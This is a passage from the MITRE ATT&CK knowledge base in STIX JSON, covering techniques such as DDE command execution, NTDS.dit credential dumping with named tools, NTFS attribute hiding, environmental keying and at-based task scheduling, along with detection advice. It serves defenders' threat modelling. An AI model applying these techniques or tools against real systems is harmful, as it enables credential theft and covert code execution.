            "description": "Windows Dynamic Data Exchange (DDE) is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.\n\nObject Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by COM, DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)\n\nAdversaries may use DDE to execute arbitrary commands. Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via phishing campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to command line execution.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "OLE and Office Open XML files can be scanned for \u2018DDEAUTO', \u2018DDE\u2019, and other strings indicative of DDE execution. (Citation: NVisio Labs DDE Detection Oct 2017)\n\nMonitor for Microsoft Office applications loading DLLs and other modules not typically associated with the application.\n\nMonitor for spawning of unusual processes (such as cmd.exe) from Microsoft Office applications.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.2"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--edf91964-b26e-4b4a-9600-ccacd7d7df24",
            "created": "2020-02-11T18:42:35.572Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1003/003",
                    "external_id": "T1003.003"
                },
                {
                    "source_name": "Metcalf 2015",
                    "description": "Metcalf, S. (2015, January 19). Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest. Retrieved February 3, 2015.",
                    "url": "http://adsecurity.org/?p=1275"
                },
                {
                    "source_name": "Wikipedia Active Directory",
                    "description": "Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018.",
                    "url": "https://en.wikipedia.org/wiki/Active_Directory"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T19:59:19.862Z",
            "name": "NTDS",
            "description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information, as well as obtain other information about domain members such as devices, users, and access rights. By default, the NTDS file (NTDS.dit) is located in <code>%SystemRoot%\\NTDS\\Ntds.dit</code> of a domain controller.(Citation: Wikipedia Active Directory)\n\nIn addition to looking for NTDS files on active Domain Controllers, adversaries may search for backups that contain the same or similar information.(Citation: Metcalf 2015)\n\nThe following tools and techniques can be used to enumerate the NTDS file and the contents of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "credential-access"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Ed Williams, Trustwave, SpiderLabs"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor processes and command-line arguments for program execution that may be indicative of credential dumping, especially attempts to access or copy the NTDS.dit.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "File: File Access"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5",
            "created": "2020-10-19T23:51:05.953Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1602/001",
                    "external_id": "T1602.001"
                },
                {
                    "source_name": "SANS Information Security Reading Room Securing SNMP Securing SNMP",
                    "description": "Michael Stump. (2003). Information Security Reading Room Securing SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.",
                    "url": "https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051"
                },
                {
                    "source_name": "US-CERT-TA18-106A",
                    "description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
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                {
                    "source_name": "Cisco Blog Legacy Device Attacks",
                    "description": "Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020.",
                    "url": "https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
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                {
                    "source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
                    "description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.",
                    "url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3"
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                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
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                    "source_name": "AWS Logging IAM Calls",
                    "description": "AWS. (n.d.). Logging IAM and AWS STS API calls with AWS CloudTrail. Retrieved April 1, 2022.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/cloudtrail-integration.html"
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                    "source_name": "AWS Temporary Security Credentials",
                    "description": "AWS. (n.d.). Requesting temporary security credentials. Retrieved April 1, 2022.",
                    "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp_request.html"
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                    "source_name": "Microsoft Identity Platform Access 2019",
                    "description": "Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.",
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                    "source_name": "Google Cloud Service Account Credentials",
                    "description": "Google Cloud. (2022, March 31). Creating short-lived service account credentials. Retrieved April 1, 2022.",
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                    "source_name": "GCP Monitoring Service Account Usage",
                    "description": "Google Cloud. (2022, March 31). Monitor usage patterns for service accounts and keys . Retrieved April 1, 2022.",
                    "url": "https://cloud.google.com/iam/docs/service-account-monitoring"
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                    "source_name": "okta",
                    "description": "okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.",
                    "url": "https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen"
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                    "source_name": "Rhino Security Labs Enumerating AWS Roles",
                    "description": "Spencer Gietzen. (2018, August 8). Assume the Worst: Enumerating AWS Roles through \u2018AssumeRole\u2019. Retrieved April 1, 2022.",
                    "url": "https://rhinosecuritylabs.com/aws/assume-worst-aws-assume-role-enumeration"
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                    "source_name": "Staaldraad Phishing with OAuth 2017",
                    "description": "Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.",
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                    "url": "https://technet.microsoft.com/library/dn408187.aspx"
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                    "source_name": "Microsoft Security Subsystem",
                    "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.",
                    "url": "https://technet.microsoft.com/library/cc961760.aspx"
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                    "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
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                    "source_name": "Microsoft Deploying AD Federation",
                    "description": "Microsoft. (n.d.). Deploying Active Directory Federation Services in Azure. Retrieved March 13, 2020.",
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            "created": "2020-06-23T22:28:28.041Z",
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                    "source_name": "Proofpoint Router Malvertising",
                    "description": "Kafeine. (2016, December 13). Home Routers Under Attack via Malvertising on Windows, Android Devices. Retrieved January 16, 2019.",
                    "url": "https://www.proofpoint.com/us/threat-insight/post/home-routers-under-attack-malvertising-windows-android-devices"
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                    "description": "Riordan, J., Schneier, B. (1998, June 18). Environmental Key Generation towards Clueless Agents. Retrieved January 18, 2019.",
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                    "description": "Song, C., et al. (2012, August 7). Impeding Automated Malware Analysis with Environment-sensitive Malware. Retrieved January 18, 2019.",
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                    "source_name": "Environmental Keyed HTA",
                    "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved November 17, 2024.",
                    "url": "http://web.archive.org/web/20200608093807/https://www.nccgroup.com/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/"
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            "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.",
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                    "source_name": "MalwareBytes ADS July 2015",
                    "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
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                    "source_name": "SpectorOps Host-Based Jul 2017",
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                    "source_name": "Journey into IR ZeroAccess NTFS EA",
                    "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.",
                    "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html"
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                    "source_name": "Microsoft NTFS File Attributes Aug 2010",
                    "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.",
                    "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/"
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                {
                    "source_name": "Microsoft ADS Mar 2014",
                    "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
                    "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"
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                {
                    "source_name": "Microsoft File Streams",
                    "description": "Microsoft. (n.d.). File Streams. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/fileio/file-streams"
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                    "source_name": "Oddvar Moe ADS2 Apr 2018",
                    "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.",
                    "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"
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                    "source_name": "Oddvar Moe ADS1 Jan 2018",
                    "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.",
                    "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"
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                    "source_name": "Symantec ADS May 2009",
                    "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
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            "description": "Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)",
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            "x_mitre_detection": "Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the <code>ZwSetEaFile</code> and <code>ZwQueryEaFile</code> Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)",
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                    "source_name": "Microsoft Detecting Kerberoasting Feb 2018",
                    "description": "Bani, M. (2018, February 23). Detecting Kerberoasting activity using Azure Security Center. Retrieved March 23, 2018.",
                    "url": "https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/"
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                    "description": "EmpireProject. (2016, October 31). Invoke-Kerberoast.ps1. Retrieved March 22, 2018.",
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                    "description": "Medin, T. (2014, November). Attacking Kerberos - Kicking the Guard Dog of Hades. Retrieved March 22, 2018.",
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                    "description": "Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets Using Kerberoast \u2013 Exploiting Kerberos to Compromise the Active Directory Domain. Retrieved March 22, 2018.",
                    "url": "https://adsecurity.org/?p=2293"
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                {
                    "source_name": "Harmj0y Kerberoast Nov 2016",
                    "description": "Schroeder, W. (2016, November 1). Kerberoasting Without Mimikatz. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/powershell/kerberoasting-without-mimikatz/"
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                    "url": "https://attack.mitre.org/techniques/T1096",
                    "external_id": "T1096"
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                {
                    "source_name": "SpectorOps Host-Based Jul 2017",
                    "description": "Atkinson, J. (2017, July 18). Host-based Threat Modeling & Indicator Design. Retrieved March 21, 2018.",
                    "url": "https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea"
                },
                {
                    "source_name": "Microsoft NTFS File Attributes Aug 2010",
                    "description": "Hughes, J. (2010, August 25). NTFS File Attributes. Retrieved March 21, 2018.",
                    "url": "https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/"
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                {
                    "source_name": "Microsoft File Streams",
                    "description": "Microsoft. (n.d.). File Streams. Retrieved December 2, 2014.",
                    "url": "http://msdn.microsoft.com/en-us/library/aa364404"
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                {
                    "source_name": "MalwareBytes ADS July 2015",
                    "description": "Arntz, P. (2015, July 22). Introduction to Alternate Data Streams. Retrieved March 21, 2018.",
                    "url": "https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/"
                },
                {
                    "source_name": "Microsoft ADS Mar 2014",
                    "description": "Marlin, J. (2013, March 24). Alternate Data Streams in NTFS. Retrieved March 21, 2018.",
                    "url": "https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/"
                },
                {
                    "source_name": "Journey into IR ZeroAccess NTFS EA",
                    "description": "Harrell, C. (2012, December 11). Extracting ZeroAccess from NTFS Extended Attributes. Retrieved June 3, 2016.",
                    "url": "http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html"
                },
                {
                    "source_name": "Oddvar Moe ADS1 Jan 2018",
                    "description": "Moe, O. (2018, January 14). Putting Data in Alternate Data Streams and How to Execute It. Retrieved June 30, 2018.",
                    "url": "https://oddvar.moe/2018/01/14/putting-data-in-alternate-data-streams-and-how-to-execute-it/"
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                {
                    "source_name": "Oddvar Moe ADS2 Apr 2018",
                    "description": "Moe, O. (2018, April 11). Putting Data in Alternate Data Streams and How to Execute It - Part 2. Retrieved June 30, 2018.",
                    "url": "https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/"
                },
                {
                    "source_name": "Symantec ADS May 2009",
                    "description": "Pravs. (2009, May 25). What you need to know about alternate data streams in windows? Is your Data secure? Can you restore that?. Retrieved March 21, 2018.",
                    "url": "https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore"
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                    "source_name": "GitHub Mimikatz lsadump Module",
                    "description": "Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017.",
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                    "source_name": "ADSecurity Mimikatz DCSync",
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                    "description": "SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017.",
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                    "source_name": "Harmj0y DCSync Sept 2015",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017.",
                    "url": "http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
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                {
                    "source_name": "Harmj0y Mimikatz and DCSync",
                    "description": "Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/"
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                {
                    "source_name": "InsiderThreat ChangeNTLM July 2017",
                    "description": "Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017.",
                    "url": "https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM"
                },
                {
                    "source_name": "Wine API samlib.dll",
                    "description": "Wine API. (n.d.). samlib.dll. Retrieved November 17, 2024.",
                    "url": "https://strontic.github.io/xcyclopedia/library/samlib.dll-0BDF6351009F6EBA5BA7E886F23263B1.html"
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                    "source_name": "systemsetup mac time",
                    "description": "Apple Support. (n.d.). About systemsetup in Remote Desktop. Retrieved March 27, 2024.",
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                    "source_name": "linux system time",
                    "description": "ArchLinux. (2024, February 1). System Time. Retrieved March 27, 2024.",
                    "url": "https://wiki.archlinux.org/title/System_time"
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                {
                    "source_name": "MAGNET GOBLIN",
                    "description": "Check Point Research. (2024, March 8). MAGNET GOBLIN TARGETS PUBLICLY FACING SERVERS USING 1-DAY VULNERABILITIES. Retrieved March 27, 2024.",
                    "url": "https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/"
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                    "source_name": "Mac Time Sync",
                    "description": "Cone, Matt. (2021, January 14). Synchronize your Mac's Clock with a Time Server. Retrieved March 27, 2024.",
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                    "source_name": "ESET DazzleSpy Jan 2022",
                    "description": "M.L\u00e9veill\u00e9, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022.",
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                    "description": "Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.",
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                    "source_name": "Technet Windows Time Service",
                    "description": "Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016.",
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                    "source_name": "RSA EU12 They're Inside",
                    "description": "Rivner, U., Schwartz, E. (2012). They\u2019re Inside\u2026 Now What?. Retrieved November 25, 2016.",
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                    "source_name": "System Information Discovery Technique",
                    "description": "YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). The System Information Discovery Technique Explained - MITRE ATT&CK T1082. Retrieved March 27, 2024.",
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                {
                    "source_name": "Virtualization/Sandbox Evasion",
                    "description": "YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). Virtualization/Sandbox Evasion - How Attackers Avoid Malware Analysis. Retrieved December 26, 2023.",
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                    "source_name": "rowland linux at 2019",
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                    "description": "Philip Tsukerman. (n.d.). No Win32 Process Needed | Expanding the WMI Lateral Movement Arsenal. Retrieved June 19, 2024.",
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                    "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
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            "modified": "2025-04-15T19:59:21.266Z",
            "name": "At",
            "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with [at](https://attack.mitre.org/software/S0110) by directly leveraging the [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class.(Citation: Malicious Life by Cybereason)\n\nOn Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. Every username not listed in <code>at.deny</code> is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the <code>at.deny</code> exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)\n\nAdversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via <code>sudo</code>.(Citation: GTFObins at)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
                }
            ],
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor process execution from the svchost.exe in Windows 10 and the Windows Task Scheduler taskeng.exe for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in %systemroot%\\System32\\Tasks for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)(Citation: Microsoft Scheduled Task Events Win10)\n\n* Event ID 106 on Windows 7, Server 2008 R2 - Scheduled task registered\n* Event ID 140 on Windows 7, Server 2008 R2 / 4702 on Windows 10, Server 2016 - Scheduled task updated\n* Event ID 141 on Windows 7, Server 2008 R2 / 4699 on Windows 10, Server 2016 - Scheduled task deleted\n* Event ID 4698 on Windows 10, Server 2016 - Scheduled task created\n* Event ID 4700 on Windows 10, Server 2016 - Scheduled task enabled\n* Event ID 4701 on Windows 10, Server 2016 - Scheduled task disabled\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns)\n\nRemote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data.\n\nIn Linux and macOS environments, monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the <code>atq</code> command and ensure IP addresses stored in the <code>SSH_CONNECTION</code> and <code>SSH_CLIENT</code> variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in <code>/var/spool/cron/atjobs/</code>.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for [Command and Control](https://attack.mitre.org/tactics/TA0011), learning details about the environment through [Discovery](https://attack.mitre.org/tactics/TA0007), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008).",
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                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Linux",
                "macOS"
            ],
            "x_mitre_version": "2.4",
            "x_mitre_data_sources": [
                "Command: Command Execution",
                "Scheduled Job: Scheduled Job Creation",
                "Network Traffic: Network Traffic Flow",
                "Process: Process Creation",
                "File: File Modification"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f44731de-ea9f-406d-9b83-30ecbb9b4392",
            "created": "2017-05-31T21:30:36.550Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1035",
                    "external_id": "T1035"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:22.595Z",
            "name": "Service Execution",
            "description": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with [New Service](https://attack.mitre.org/techniques/T1050) and [Modify Existing Service](https://attack.mitre.org/techniques/T1031) during service persistence or privilege escalation.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "execution"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool [PsExec](https://attack.mitre.org/software/S0029).",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945",
            "created": "2020-01-14T01:26:08.145Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1055/001",
                    "external_id": "T1055.001"
                },
                {
                    "source_name": "Hiding Malicious Code with Module Stomping",
